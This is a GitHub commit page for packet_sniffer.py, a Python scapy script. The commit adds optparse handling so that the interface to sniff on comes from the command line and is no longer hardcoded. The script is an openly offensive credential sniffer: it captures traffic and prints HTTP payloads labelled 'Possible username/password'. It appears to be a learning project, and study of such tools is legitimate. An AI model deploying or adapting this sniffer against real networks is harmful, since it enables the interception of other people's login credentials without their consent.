Skip to content

Commit

Permalink
Use dynamic iterface
Browse files Browse the repository at this point in the history
  • Loading branch information
GedorN committed Jul 19, 2022
1 parent 3997583 commit 54c2757
Showing 1 changed file with 16 additions and 1 deletion.
17 changes: 16 additions & 1 deletion packet_sniffer.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,19 @@
#!/usr/bin/env python
from click import argument
import scapy.all as scapy
from scapy.layers import http
import optparse


def setup():
parser = optparse.OptionParser()
parser.add_option("-i", "--interface", dest="interface", help="Interface currently connectedused to connect to internet")
(options, arguments) = parser.parse_args()
if not options.interface:
parser.error("[-] interface is required. See --help more more info ")
return options



def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniff_packet)
Expand All @@ -19,4 +32,6 @@ def process_sniff_packet(packet):
print(f"\n\n[+] Possible username/password > {load.decode()}\n\n")
break

sniff("wlp2s0")

options = setup()
sniff(options.interface)

0 comments on commit 54c2757

Please sign in to comment.